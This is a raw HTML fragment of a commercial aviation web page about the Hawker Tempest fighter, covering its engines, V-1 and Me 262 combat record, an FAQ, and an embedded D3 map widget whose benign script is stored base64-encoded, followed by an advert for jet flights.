loading=\"lazy\" decoding=\"async\"><figcaption>A preserved radial-engined Tempest II (PR536) \u2014 the Centaurus variant that missed the war and served on postwar.<span>Photo: Alan Wilson \u00b7 CC BY-SA 2.0<\/span><\/figcaption><\/figure>\n<figure data-full=\"https:\/\/ml5psubhxdln.i.optimole.com\/cb:78--.b845\/w:768\/h:350\/q:96\/f:best\/https:\/\/migflug.com\/wp-content\/uploads\/2026\/07\/napier-sabre-h24-engine.jpg\"><img data-opt-id=742072018  data-opt-src=\"https:\/\/ml5psubhxdln.i.optimole.com\/cb:78--.b845\/w:980\/h:447\/q:96\/f:best\/https:\/\/migflug.com\/wp-content\/uploads\/2026\/07\/napier-sabre-h24-engine.jpg\"  class=\"ph\" src=\"data:image/svg+xml,%3Csvg%20viewBox%3D%220%200%20980%20447%22%20width%3D%22980%22%20height%3D%22447%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Crect%20width%3D%22980%22%20height%3D%22447%22%20fill%3D%22transparent%22%2F%3E%3C%2Fsvg%3E\" alt=\"One bank of the 24-cylinder Napier Sabre H-engine  the powerplant at the heart of the Tempest V.\" loading=\"lazy\" decoding=\"async\"><figcaption>One bank of the 24-cylinder Napier Sabre H-engine \u2014 the powerplant at the heart of the Tempest V.<span>Photo: Les Chatfield \u00b7 CC BY 2.0<\/span><\/figcaption><\/figure>\n<\/div>\n<\/div>\n<\/div>\n<\/section>\n<hr class=\"divider\">\n<section>\n<div class=\"wrap\">\n<div class=\"kicker\">Watch<\/div>\n<h2>The Tempest in motion<\/h2>\n<p><em>Video coming soon.<\/em> We are curating a high-quality documentary film on the Hawker Tempest \u2014 its origins in the Typhoon, the V-1 summer of 1944 and its air battles over Germany \u2014 to feature here.<\/p>\n<\/div>\n<\/section>\n<hr class=\"divider\">\n<section>\n<div class=\"wrap\">\n<div class=\"kicker\">Operations<\/div>\n<h2>Where the Tempest flew<\/h2>\n<div id=\"sr71-map-widget\" style=\"font-family:'Gilroy semiBold','Gilroy regular',Helvetica,Arial,Lucida,sans-serif;max-width:1080px;width:100%;\">\n<div id=\"sr71-map-container\" style=\"width:100%;position:relative\"><svg id=\"sr71-map-svg\" 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operator<\/span><span class=\"sr71-check\" style=\"font-size:10px;opacity:1;transition:opacity .2s\">\u2713<\/span><\/button> <button class=\"sr71-toggle active\" data-cat=\"combat\" data-full=\"Combat operator\" data-short=\"Combat\" style=\"display:flex;align-items:center;gap:6px;padding:8px 12px;border:2px solid #6B8E23;border-radius:0;background:#fff;cursor:pointer;font-family:inherit;font-size:13px;font-weight:600;color:#1a1a2e;white-space:nowrap;transition:all .25s\"><\/p>\n<div style=\"width:14px;height:14px;border-radius:0;flex-shrink:0;background:linear-gradient(135deg,#4A6741 25%,#6B8E23 25%,#6B8E23 50%,#556B2F 50%,#556B2F 75%,#8B9D77 75%);background-size:8px 8px\"><\/div>\n<p><span class=\"sr71-label\">Combat operator<\/span><span class=\"sr71-check\" style=\"font-size:10px;opacity:1;transition:opacity .2s\">\u2713<\/span><\/button> <button class=\"sr71-toggle active\" data-cat=\"current\" data-full=\"Surviving Airframes on Display\" data-short=\"Museums\" style=\"display: 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VnJzsgaWYoYWN0aXZlLmNvbWJhdCYmQ0FULmNvbWJhdC5zLmhhcyhuKSlyZXR1cm4nY29tYmF0JzsgaWYoYWN0aXZlLmN1cnJlbnQmJkNBVC5jdXJyZW50LnMuaGFzKG4pKXJldHVybidjdXJyZW50JzsgaWYoYWN0aXZlLmZvcm1lciYmQ0FULmZvcm1lci5zLmhhcyhuKSlyZXR1cm4nZm9ybWVyJzsgcmV0dXJuIG51bGw7IH0gZnVuY3Rpb24gYWMobil7IHZhciByPVtdOyBpZihDQVQubWlnZmx1Zy5zLmhhcyhuKSlyLnB1c2goJ0hvbWUgYmFzZScpOyBpZihDQVQuY29tYmF0LnMuaGFzKG4pKXIucHVzaCgnUmVjb25uYWlzc2FuY2UgbWlzc2lvbnMnKTsgaWYoQ0FULmN1cnJlbnQucy5oYXMobikpci5wdXNoKCdBaXJmcmFtZXMgb24gZGlzcGxheScpOyBpZihDQVQuZm9ybWVyLnMuaGFzKG4pKXIucHVzaCgnRm9ybWVyIG9wZXJhdG9yJyk7IHJldHVybiByOyB9IGZ1bmN0aW9uIGJ1aWxkVG9vbHRpcChuKXsgdmFyIGNhdHM9YWMobik7IGlmKCFjYXRzLmxlbmd0aClyZXR1cm4gbnVsbDsgdmFyIGg9JzxzcGFuIGNsYXNzPSJ0dC1uYW1lIj4nK24rJzwvc3Bhbj4nOyBoKz0nPHNwYW4gY2xhc3M9InR0LWNhdCI+JytjYXRzLmpvaW4oJyBcdTAwYjcgJykrJzwvc3Bhbj4nOyBpZihGTEVFVF9JTkZPW25dKXsgaCs9JzxzcGFuIGNsYXNzPSJ0dC1mbGVldCI+JytGTEVFVF9JTkZPW25dKyc8L3NwYW4+JzsgfSBpZihDT01CQVRfSU5GT1tuXSl7IGgrPSc8c3BhbiBjbGFzcz0idHQtZGVzYyI+JytDT01CQVRfSU5GT1tuXSsnPC9zcGFuPic7IH0gaWYoTUlHRkxVR19MSU5LU1tuXSl7IGgrPSc8ZGl2IGNsYXNzPSJ0dC1saW5rcyI+JzsgTUlHRkxVR19MSU5LU1tuXS5mb3JFYWNoKGZ1bmN0aW9uKGxrKXsgaCs9JzxhIGhyZWY9IicrbGsudXJsKyciIHRhcmdldD0iX2JsYW5rIiByZWw9Im5vb3BlbmVyIj4nK2xrLmxhYmVsKyc8L2E+JzsgfSk7IGgrPSc8L2Rpdj4nOyB9IHJldHVybiBoOyB9IGZ1bmN0aW9uIHVwZGF0ZUxhYmVscygpeyB2YXIgaXNNb2JpbGU9d2luZG93LmlubmVyV2lkdGg8PTYwMDsgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLnNyNzEtdG9nZ2xlJykuZm9yRWFjaChmdW5jdGlvbihiKXsgdmFyIGxhYmVsPWIucXVlcnlTZWxlY3RvcignLnNyNzEtbGFiZWwnKTsgaWYobGFiZWwpeyBsYWJlbC50ZXh0Q29udGVudD1pc01vYmlsZT9iLmdldEF0dHJpYnV0ZSgnZGF0YS1zaG9ydCcpOmIuZ2V0QXR0cmlidXRlKCdkYXRhLWZ1bGwnKTsgfSB9KTsgfSB1cGRhdGVMYWJlbHMoKTsgd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoJ3Jlc2l6ZScsdXBkYXRlTGFiZWxzKTsgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLnNyNzEtdG9nZ2xlJykuZm9yRWFjaChmdW5jdGlvbihiKXsgYi5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsZnVuY3Rpb24oKXsgdmFyIGM9dGhpcy5nZXRBdHRyaWJ1dGUoJ2RhdGEtY2F0Jyk7IGFjdGl2ZVtjXT1hY3RpdmVbY10\/MDoxOyB0aGlzLmNsYXNzTGlzdC50b2dnbGUoJ2FjdGl2ZScsISFhY3RpdmVbY10pOyB1cGQoKTsgfSk7IH0pOyBmdW5jdGlvbiB1cGQoKXsgZDMuc2VsZWN0QWxsKCcjc3I3MS1tYXAtd2lkZ2V0IC5jb3VudHJ5JykuZWFjaChmdW5jdGlvbigpeyB2YXIgZWw9ZDMuc2VsZWN0KHRoaXMpLG49ZWwuYXR0cignZGF0YS1uYW1lJyksYz1nYyhuKTsgZWwuYXR0cignY2xhc3MnLCdjb3VudHJ5JysoYz8nIGNhdC0nK2M6JycpKTsgfSk7IHZhciB2aXM9bmV3IFNldCgpOyBPYmplY3Qua2V5cyhhY3RpdmUpLmZvckVhY2goZnVuY3Rpb24oayl7aWYoYWN0aXZlW2tdKUNBVFtrXS5jLmZvckVhY2goZnVuY3Rpb24oYyl7dmlzLmFkZChjKX0pfSk7IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzcjcxLWNvdW50JykuaW5uZXJIVE1MPSc8c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6NzAwO2NvbG9yOiM1QzkxRkYiPicrdmlzLnNpemUrJzwvc3Bhbj4gY291bnRyaWVzIHNob3duIGFjcm9zcyBhY3RpdmUgY2F0ZWdvcmllcyc7IH0gdmFyIFc9MTA4MCxIPTUwMDsgdmFyIHN2Zz1kMy5zZWxlY3QoJyNzcjcxLW1hcC1zdmcnKS5hdHRyKCd2aWV3Qm94JywnMCAwICcrVysnICcrSCkuYXR0cigncHJlc2VydmVBc3BlY3RSYXRpbycsJ3hNaWRZTWlkIG1lZXQnKTsgdmFyIGRlZnM9c3ZnLmFwcGVuZCgnZGVmcycpOyB2YXIgcGF0PWRlZnMuYXBwZW5kKCdwYXR0ZXJuJykuYXR0cignaWQnLCdjYW1vLXBhdHRlcm4nKS5hdHRyKCdwYXR0ZXJuVW5pdHMnLCd1c2VyU3BhY2VPblVzZScpLmF0dHIoJ3dpZHRoJywyMCkuYXR0cignaGVpZ2h0JywyMCk7IHBhdC5hcHBlbmQoJ3JlY3QnKS5hdHRyKCd3aWR0aCcsMjApLmF0dHIoJ2hlaWdodCcsMjApLmF0dHIoJ2ZpbGwnLCcjNkI4RTIzJyk7IHBhdC5hcHBlbmQoJ2NpcmNsZScpLmF0dHIoJ2N4JywzKS5hdHRyKCdjeScsMykuYXR0cigncicsNSkuYXR0cignZmlsbCcsJyM1NTZCMkYnKTsgcGF0LmFwcGVuZCgnY2lyY2xlJykuYXR0cignY3gnLDEzKS5hdHRyKCdjeScsOCkuYXR0cigncicsNCkuYXR0cignZmlsbCcsJyM0QTY3NDEnKTsgcGF0LmFwcGVuZCgnY2lyY2xlJykuYXR0cignY3gnLDgpLmF0dHIoJ2N5JywxNikuYXR0cigncicsNikuYXR0cignZmlsbCcsJyMzRTU2MzEnKTsgcGF0LmFwcGVuZCgnY2lyY2xlJykuYXR0cignY3gnLDE4KS5hdHRyKCdjeScsMTUpLmF0dHIoJ3InLDMpLmF0dHIoJ2ZpbGwnLCcjOEI5RDc3Jyk7IHBhdC5hcHBlbmQoJ2NpcmNsZScpLmF0dHIoJ2N4JywxKS5hdHRyKCdjeScsMTIpLmF0dHIoJ3InLDMpLmF0dHIoJ2ZpbGwnLCcjMkY0MDI0Jyk7IHZhciBwcm9qPWQzLmdlb1JvYmluc29uKCkuc2NhbGUoMTcwKS50cmFuc2xhdGUoW1cvMixILzIrMTBdKTsgdmFyIHBhdGhHPWQzLmdlb1BhdGgoKS5wcm9qZWN0aW9uKHByb2opOyBzdmcuYXBwZW5kKCdyZWN0JykuYXR0cignd2lkdGgnLFcpLmF0dHIoJ2hlaWdodCcsSCkuYXR0cignZmlsbCcsJyNmZmYnKTsgc3ZnLmFwcGVuZCgncGF0aCcpLmRhdHVtKHt0eXBlOidTcGhlcmUnfSkuYXR0cignZmlsbCcsJ25vbmUnKS5hdHRyKCdzdHJva2UnLCcjRDBEOEU0JykuYXR0cignc3Ryb2tlLXdpZHRoJywuNSkuYXR0cignZCcscGF0aEcpOyBzdmcuYXBwZW5kKCdwYXRoJykuZGF0dW0oZDMuZ2VvR3JhdGljdWxlKCkoKSkuYXR0cignZmlsbCcsJ25vbmUnKS5hdHRyKCdzdHJva2UnLCcjRTBFNUVEJykuYXR0cignc3Ryb2tlLXdpZHRoJywuMykuYXR0cignZCcscGF0aEcpOyB2YXIgdHQ9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NyNzEtdG9vbHRpcCcpOyB2YXIgdHRUaW1lcj1udWxsOyB2YXIgb25Db3VudHJ5PWZhbHNlLG9uVG9vbHRpcD1mYWxzZTsgdmFyIGlzVG91Y2hEZXZpY2U9ZmFsc2U7IHZhciBzZWxlY3RlZENvdW50cnk9bnVsbDsgd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoJ3RvdWNoc3RhcnQnLGZ1bmN0aW9uKCl7aXNUb3VjaERldmljZT10cnVlfSx7b25jZTp0cnVlfSk7IGZ1bmN0aW9uIHNob3dUVChodG1sLHgseSl7IGNsZWFyVGltZW91dCh0dFRpbWVyKTsgdHQuaW5uZXJIVE1MPWh0bWw7IHR0LnN0eWxlLm9wYWNpdHk9MTsgcG9zVFQoeCx5KTsgfSBmdW5jdGlvbiBwb3NUVCh4LHkpeyB2YXIgdHc9dHQub2Zmc2V0V2lkdGgsdGg9dHQub2Zmc2V0SGVpZ2h0OyB2YXIgdnc9d2luZG93LmlubmVyV2lkdGgsdmg9d2luZG93LmlubmVySGVpZ2h0OyBpZihpc1RvdWNoRGV2aWNlKXsgdmFyIGxlZnQ9TWF0aC5tYXgoOCxNYXRoLm1pbih4LXR3LzIsdnctdHctOCkpOyB2YXIgdG9wPXktdGgtMTY7IGlmKHRvcDw4KXt0b3A9eSsyNH0gaWYodG9wK3RoPnZoLTgpe3RvcD12aC10aC04fSB0dC5zdHlsZS5sZWZ0PWxlZnQrJ3B4JzsgdHQuc3R5bGUudG9wPXRvcCsncHgnOyB9ZWxzZXsgdmFyIG54PXgrMTQsbnk9eS0xMDsgaWYobngrdHc+dnctMTApbng9eC10dy0xNDsgaWYobnkrdGg+dmgtMTApbnk9eS10aC0xMDsgaWYobnk8MTApbnk9MTA7IHR0LnN0eWxlLmxlZnQ9bngrJ3B4JzsgdHQuc3R5bGUudG9wPW55KydweCc7IH0gfSBmdW5jdGlvbiBoaWRlVFQoKXsgdHRUaW1lcj1zZXRUaW1lb3V0KGZ1bmN0aW9uKCl7IGlmKCFvbkNvdW50cnkmJiFvblRvb2x0aXApdHQuc3R5bGUub3BhY2l0eT0wOyBzZWxlY3RlZENvdW50cnk9bnVsbDsgfSwyMDApOyB9IHR0LmFkZEV2ZW50TGlzdGVuZXIoJ21vdXNlZW50ZXInLGZ1bmN0aW9uKCl7b25Ub29sdGlwPXRydWU7Y2xlYXJUaW1lb3V0KHR0VGltZXIpO30pOyB0dC5hZGRFdmVudExpc3RlbmVyKCdtb3VzZWxlYXZlJyxmdW5jdGlvbigpe29uVG9vbHRpcD1mYWxzZTtoaWRlVFQoKTt9KTsgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigndG91Y2hzdGFydCcsZnVuY3Rpb24oZSl7IGlmKGlzVG91Y2hEZXZpY2UmJnR0LnN0eWxlLm9wYWNpdHk9PT0nMScpeyB2YXIgdGFyZ2V0PWUudGFyZ2V0OyBpZighdHQuY29udGFpbnModGFyZ2V0KSYmKCF0YXJnZXQuY2xhc3NMaXN0fHwhdGFyZ2V0LmNsYXNzTGlzdC5jb250YWlucygnY291bnRyeScpKSl7IHR0LnN0eWxlLm9wYWNpdHk9MDsgc2VsZWN0ZWRDb3VudHJ5PW51bGw7IH0gfSB9KTsgZDMuanNvbignaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS93b3JsZC1hdGxhc0AyL2NvdW50cmllcy0xMTBtLmpzb24nKS50aGVuKGZ1bmN0aW9uKHdvcmxkKXsgdmFyIGNvdW50cmllcz10b3BvanNvbi5mZWF0dXJlKHdvcmxkLHdvcmxkLm9iamVjdHMuY291bnRyaWVzKTsgc3ZnLnNlbGVjdEFsbCgnLmNvdW50cnknKS5kYXRhKGNvdW50cmllcy5mZWF0dXJlcykuZW50ZXIoKS5hcHBlbmQoJ3BhdGgnKSAuYXR0cignZCcscGF0aEcpIC5hdHRyKCdkYXRhLW5hbWUnLGZ1bmN0aW9uKGQpe3JldHVybiBOTVsrZC5pZF18fCcnfSkgLmF0dHIoJ2NsYXNzJyxmdW5jdGlvbihkKXt2YXIgbj1OTVsrZC5pZF18fCcnLGM9Z2Mobik7cmV0dXJuJ2NvdW50cnknKyhjPycgY2F0LScrYzonJyl9KSAub24oJ21vdXNlb3ZlcicsZnVuY3Rpb24oZSxkKXsgaWYoaXNUb3VjaERldmljZSlyZXR1cm47IG9uQ291bnRyeT10cnVlOyB2YXIgbj1OTVsrZC5pZF18fCcnLGh0bWw9YnVpbGRUb29sdGlwKG4pOyBpZihodG1sKXNob3dUVChodG1sLGUuY2xpZW50WCxlLmNsaWVudFkpOyB9KSAub24oJ21vdXNlbW92ZScsZnVuY3Rpb24oZSl7IGlmKGlzVG91Y2hEZXZpY2UpcmV0dXJuOyBwb3NUVChlLmNsaWVudFgsZS5jbGllbnRZKTsgfSkgLm9uKCdtb3VzZW91dCcsZnVuY3Rpb24oKXsgaWYoaXNUb3VjaERldmljZSlyZXR1cm47IG9uQ291bnRyeT1mYWxzZTtoaWRlVFQoKTsgfSkgLm9uKCd0b3VjaHN0YXJ0JyxmdW5jdGlvbihlLGQpeyBlLnByZXZlbnREZWZhdWx0KCk7IHZhciBuPU5NWytkLmlkXXx8Jyc7IGlmKHNlbGVjdGVkQ291bnRyeT09PW4peyB0dC5zdHlsZS5vcGFjaXR5PTA7IHNlbGVjdGVkQ291bnRyeT1udWxsOyByZXR1cm47IH0gdmFyIGh0bWw9YnVpbGRUb29sdGlwKG4pOyBpZihodG1sKXsgdmFyIHRvdWNoPWUudG91Y2hlc1swXXx8ZS5jaGFuZ2VkVG91Y2hlc1swXTsgc2VsZWN0ZWRDb3VudHJ5PW47IHNob3dUVChodG1sLHRvdWNoLmNsaWVudFgsdG91Y2guY2xpZW50WSk7IH1lbHNleyB0dC5zdHlsZS5vcGFjaXR5PTA7IHNlbGVjdGVkQ291bnRyeT1udWxsOyB9IH0pOyBzdmcuYXBwZW5kKCdwYXRoJykuZGF0dW0odG9wb2pzb24ubWVzaCh3b3JsZCx3b3JsZC5vYmplY3RzLmNvdW50cmllcyxmdW5jdGlvbihhLGIpe3JldHVybiBhIT09Yn0pKSAuYXR0cignZmlsbCcsJ25vbmUnKS5hdHRyKCdzdHJva2UnLCcjQzhEMERBJykuYXR0cignc3Ryb2tlLXdpZHRoJywuNCkuYXR0cignZCcscGF0aEcpLnN0eWxlKCdwb2ludGVyLWV2ZW50cycsJ25vbmUnKTsgdXBkKCk7IH0pOyB9KSgpOw==\"><\/div>\n<p><script>(function(){var el=document.getElementById(\"sr71-data\");var js=decodeURIComponent(escape(atob(el.getAttribute(\"data-js\"))));var sc=document.createElement(\"script\");sc.text=js;document.body.appendChild(sc);})();<\/script><\/div>\n<\/section>\n<hr class=\"divider\">\n<section>\n<div class=\"wrap\">\n<div class=\"kicker\">Combat Record<\/div>\n<h2>The score that defines it<\/h2>\n<p>The Tempest\u2019s combat record is written in three places: the flying-bomb battle over southern England, the fighter sweeps over Germany, and the ground-attack war against the Wehrmacht. It was the RAF\u2019s deadliest V-1 hunter, one of the very few Allied fighters to down the Me&nbsp;262 jet, and a fast, heavily armed opponent the Luftwaffe respected at low level. Figures below are the most commonly cited \u2014 individual tallies vary by source.<\/p>\n<div class=\"combat\">\n<div class=\"cstat\"><b>~600\u2013800<\/b><span>V-1 flying bombs destroyed \u2014 most of any type<\/span><\/div>\n<div class=\"cstat\"><b>~240<\/b><span>Air-to-air kills by 2 TAF Tempest squadrons<\/span><\/div>\n<div class=\"cstat\"><b>20+<\/b><span>German jets downed, including the Me 262<\/span><\/div>\n<\/div>\n<p>Compare the <a href=\"https:\/\/migflug.com\/fighter-jet-combat-statistics\/\">combat record of every military aircraft<\/a>. Figures as of July 2026.<\/p>\n<\/div>\n<\/section>\n<hr class=\"divider\">\n<section id=\"faq\">\n<div class=\"wrap\">\n<div class=\"kicker\">Questions &amp; Answers<\/div>\n<h2>Everything people ask about the Tempest<\/h2>\n<div class=\"qa\">\n<details open=\"\">\n<summary>Can I fly in a Tempest?<\/summary>\n<div class=\"a\">No \u2014 there are no passenger Tempest flights. Only a very small handful of Hawker Tempests survive in airworthy condition anywhere in the world, and none carry paying passengers. You <b>can<\/b>, however, fly in several genuine ex-military jets and warbirds today \u2014 see <a href=\"https:\/\/migflug.com\/flights-prices\/\">migflug.com\/flights-prices\/<\/a>.<\/div>\n<\/details>\n<details>\n<summary>How fast was the Hawker Tempest?<\/summary>\n<div class=\"a\">The Tempest V reached about <b>435 mph (~700 km\/h)<\/b> at medium altitude, making it the fastest RAF piston-engined fighter at low and medium level in service at the time. Its clean, thin laminar-flow wing gave it a fast, controllable dive as well.<\/div>\n<\/details>\n<details>\n<summary>How is the Tempest different from the Hawker Typhoon?<\/summary>\n<div class=\"a\">The Tempest was a redesign of the Typhoon built to cure its high-speed, high-altitude weaknesses. The key change was a new, much thinner semi-elliptical laminar-flow wing (~14.5% thick versus ~18%) that delayed compressibility, plus a lengthened fuselage. It began as the \u201cTyphoon II\u201d before being renamed.<\/div>\n<\/details>\n<details>\n<summary>Did the Tempest really shoot down V-1 flying bombs?<\/summary>\n<div class=\"a\">Yes \u2014 it was the most successful V-1 killer of the war. During Operation Diver in summer 1944, Tempest wings destroyed more flying bombs than any other type, with tallies commonly cited between roughly 600 and 800. Pilots used cannon fire and, occasionally, the wingtip \u201ctipping\u201d technique that toppled the bomb with disturbed airflow.<\/div>\n<\/details>\n<details>\n<summary>Could the Tempest shoot down the Me 262 jet?<\/summary>\n<div class=\"a\">Yes, though not in a straight chase. No piston fighter could catch an Me 262 in level flight, but the jet was slow and vulnerable during take-off and landing near its airfields. Tempest squadrons flew standing patrols over jet bases \u2014 the \u201cRat Scramble\u201d \u2014 and downed a number of Me 262s in that window.<\/div>\n<\/details>\n<details>\n<summary>What engine did the Tempest use?<\/summary>\n<div class=\"a\">The main wartime Tempest V used the <b>Napier Sabre II<\/b>, a 24-cylinder H-configuration sleeve-valve engine of about 2,180 hp. The later, radial-engined <b>Tempest II<\/b> used the Bristol Centaurus and served mainly postwar.<\/div>\n<\/details>\n<details>\n<summary>Did India and Pakistan operate the Tempest?<\/summary>\n<div class=\"a\">Yes. Radial Tempest IIs were passed to both new air forces at partition in 1947 \u2014 reportedly around 89 to India and roughly 24 to 35 to Pakistan \u2014 and served into the early 1950s. Pakistan flew them in combat over the North-West Frontier.<\/div>\n<\/details>\n<details>\n<summary>What did the Tempest lead to?<\/summary>\n<div class=\"a\">The thin-wing, Centaurus-radial Tempest II was refined into the Hawker Fury and Sea Fury \u2014 the Royal Navy\u2019s last piston fighter and one of the fastest piston-engined aircraft ever built.<\/div>\n<\/details>\n<\/div>\n<\/div>\n<\/section>\n<section>\n<div class=\"ad\">\n<div class=\"adin\">\n<div class=\"kicker\">The part of the collection you can touch<\/div>\n<h2>You can\u2019t fly the Tempest.<br \/>These, you can.<\/h2>\n<p class=\"adp\">Some legends only live in museums \u2014 others are fuelled and waiting. MiGFlug has put civilians in real military jet cockpits since 2004.<\/p>\n<div class=\"car\"><button class=\"cbtn p\" onclick=\"document.getElementById('flycar').scrollBy({left:-520,behavior:'smooth'})\">\u2039<\/button><button class=\"cbtn n\" onclick=\"document.getElementById('flycar').scrollBy({left:520,behavior:'smooth'})\">\u203a<\/button><\/p>\n<div class=\"track\" id=\"flycar\"><a class=\"flycard\" href=\"https:\/\/migflug.com\/flights-prices\/\"><span class=\"fico\"><img data-opt-id=791639987  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alt=\"Aero L-39 Albatros side profile\" loading=\"eager\" decoding=\"async\"><\/span><b>Fly the L-39 Albatros<\/b><span>The world\u2019s most-flown jet trainer \u2014 aerobatics included<\/span><\/a><a class=\"flycard\" href=\"https:\/\/migflug.com\/flights-prices\/f104-starfighter-flight\/\"><span class=\"fico\"><img data-opt-id=791639987  src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAZAAAACPCAMAAADjln0EAAAAYFBMVEVHcEwHGUK2ydymxN2sw9qHrOWuyN2FmsWhu8lqjrutyN13wvdqj8AKGDYOGDEVIDSyyNrI09xckf+OrNP29vaJqdGNs+Rcsf+3zeS81Oiht9KEyvZ1mMTT3+owWabj6vAX5uI5AAAAEHRSTlMA9xtl+jm7AgX+kfivqFQeZrxunAAACuBJREFUeNrtnYlisrwShi2E1S5BCg1R5P7v8mSysUO0gP2\/M692USnUPMyWRU4nFAqFQqFQKBQKhUKhUCgUCoVCoVAoFAqFQqFQKBQKhUKhUCgUCoVCoVAo1D+sSChWEr9he7yYRRz3n4qRyetoKBaxF\/hpKJSmfgBPxdg2L6ARS0PwAoGCskqLsTAFJmgkr6ABMIhgwSilRN6ExMPQj5HIsa4KaPgpEa1PJ1RVYYBu61B5PrgpRudUMSRyoH0EKTGmQYSmiDCKRA4DImJH4HniLhT44SQQwoiHRA6lcopUTJ\/zW0AEI\/thNCQMUi2EEVqFSOSoIOLJyoNzuqgqjJDIEYpPfg0NvgZEEMFulGOIhMwJCK1SNJEjIkigmpsT6kAkRiS7e6xUFSE5pUjkLxhITFRuxSkS+RshXfNwAiLjCBLZE0gUKo9F3IAQsBFstj07TnQsd7QQYSM+EtnVY1UGCHMkwpDIjhYSh5Vz1otEjihCjF3klCKRv1OEuMb0DhHMtXYwkMgUIY8BIUAEs989DCQwo+j8IQtBG9krhITPAsGafacixMT0B5IsrNn3q9J9O+\/ncSBIZE+PRTilzxDBAZJti5A2b3oGCIwhIpE9ipAnYno78wFLxO2IhOyXQGhFcAbdhkWI5cGeBSLnNGJo36hMT4VhEHXPCX2WiCgR0Ui2KUJ4R\/R5ydAe\/fGTT67Sgx\/RdBcSvPpqj+VXdBMRWK7wF7OtyMp5+xdSaUdCfq+Kpd4fMpIxBi8IAt\/3Uz9N5WK9c6swJGGYihd9r\/3r13isPM+ltyJzixAeyrb80+kPMOmd5BJD+h7+XH5A9Xd9nVLT1PI7K0PfDyLVhxG9wGOVRVHkRZ7DDyme82fBEFaFfvTKNbsySqiDx4KE\/\/7+rjgIneX3a13rh9fzWcOAn3UNP6qmkk8IKsELmIj\/Pix5WeZdCTy\/CO6VQOJJXxgdLhuRJYqL1k9f57pJ7veLYSTcleRRSQM5ayBSaqXr0Uw84VXDIuc9KL8AQiirSBp4L7IQTy0gzmp2ucwQqZvb3RKxWOpakWikoVjTSX3F5Fi\/FUfCyRZ5aykqoEBMWbz3BeUhY7DWJ6srKkze0wq0vFbBQBNPjTboa+o1PxUoslooy8pZIKzhAsh9aDe1spa61k6sZRIcykSFP7D3wA8NE4gqJqQsqeiIZz1BoyjZpiHmGVpceipZb7splWqfdd2AehuX7UEbe1BymQVybaoxENZUBkwbWgyUc+odnasAFfHl+aFA4kBigs0ASDbRNGzcWCCqEc4iKUtWf3fV23TyqP1dDYPIfeCzwI9dzS\/FPbknYC3nNgU7y8B4cKoSQaUdB2leFhsCYd2GkU+UE+e+gVdOoGi+x+o0OFs5C8ZgVBDpmcgVPJZU1eTdF03Mb74ZpF3R8UxO0UdSPmMiM0CGjU\/7TVSwuZYsy2qShVQz9oPzRx2K1SQRiVZ5lSWhxlBZh0ZH9nM+Mxla0uD4AC9s5OPtvp2FDE55vmAe7V\/8LLEAHHVdzu9AiC8CUQw5YcyGirphGs21YfdxiBHApAPTVdaxmePH21vyhNfiqw5rHBsm3A1E7e9FicjNDOgie9xABhBFXnitwADOmk09BiKAQQ6mkMTHIgELeXvbLoasnql9GN9ramoqe3pMj48Vgf4Flq3mazNWVUHCDi0u60YB5GrcWcejSSZn\/9gPRoq2BUIdm2UdRqPyK7FLmhnTonA3nwdiyJDLirIFVVmdJ5BnSWdmixT4TUaWw5EoC7ntkvZ28x3aq1nWLUMxyVZFKRdF1DoQ4RlrVUJO7oVwGWG6IV96sntyASblZ3xYh3C0MZBJB8IfgtHY8sNF4ngrRMC+OkdtFJyZff1cVJGS3I0gfU6Sz+iYXvrNLWSCiA3mLkHjEfOweUS+CIT2gZjaZtnh3rsSdN7ePj4\/v\/YfO4k2t5AREWJofDvbhrN56IPlq1G9duI9zBLvhsub1sfH59e+prKDhWTZz7hXqnGB0HnoykOd01sBmUkSJZe3LhRlKrukwztYSPd9KW\/VrJBohmBceWhr5Ot5rxuQxWCkPJemIvxXbLoFN9XXHkCyYa7bWohu++a783MkZx7ax+RlsZpmOQFZLmmI+L\/4Lbl3TCXWjn\/bSl0AKXr6NRA6qswfCOfuPEynCS\/LJSTt8ZuVY6zUmFQNCmSUW2MRpmKgRBtW6nyg3NxcgTCosTqlBu1U5moYi1WyEKirVrWVHPbQSWntzsNEq7yUeiTNmjxIvez7Lj+d9F1gyTUWMJXN8i8ZQ2AFD1sdrNU3M2IIA4bq3krV1ExsVsLcSBjAF1LfS+FYxA1GxfS9kDctsbGZC8PYYx7rws0u5jttaqesgV4e6oYBKuSmsAhT2SL\/UhbCfzcdyOAw5Cgpfy\/iQMV0C2gLmXNbU2lWnbnkvZNF5tCsBBYCoeX+0StVoufQRGBzZBsgrZG1RHo2MqvR69yFh3X5XP3J1FEu5Q8AYVnT1WzZeXmyY0x2y5A8Se5tqG9nw0Vx7I7oU4hW0Jjktzy6Xo+Pmpv3HvNFHPSRpFdaiJxc1vO89u1k48n7YwfN9MewTjAtfuyt2ws0iSWrM14k7+\/CVKTiKH7caX3FfhrCR47rD4B\/HgjrvD\/11noTwLq\/jTK5MteBhnPXEGLP55lp48+cYQz6kzMIkANW5tVVQR9yxQQWW7OIqA\/6lAJMa1Ni5cghTNgiT2GZAAJ94zKVHuTTS8ptzq2GOwhlrkBy+iekGo3BJ4bz5P1jqE+J5OtT974sTtWK1Ah7HAfSWFi1+Gm+k0CuigjRJLaRHJcSaJZdVpG\/HgVRKAQLuAKLF5urFY0aWja1m+sSW8dwqZ3YC1KDpXLlAVEIBvaKXSRn801gUTZE+QttwpAQ7x8m1AdebGv3yKZbcRx359o+NndZ15z6kjtEYmGrQPhzDf0glunci\/NXcCBUXwNHuAWLAkxA5lQTVhA9O+6o5zFH+sPhAz+0XNgMD5HvJcntdnu8kR8V79mHDlcHwwB\/IL0HUVeI8rxOu+02VhJpc5HWF8HSF7AXqriwTgyDR4JGoqWxFHJe\/WZw5I7ErpMkJ8N+HnJAgCDqnVaGA6z2CQLPuiblkY5bl6SDDAR9kYyJbIxoa9UqNIykg+VW3Exj2oUPFlLu4MPa6cQ3YHFTu9dTTjZZceSQMxkMDPq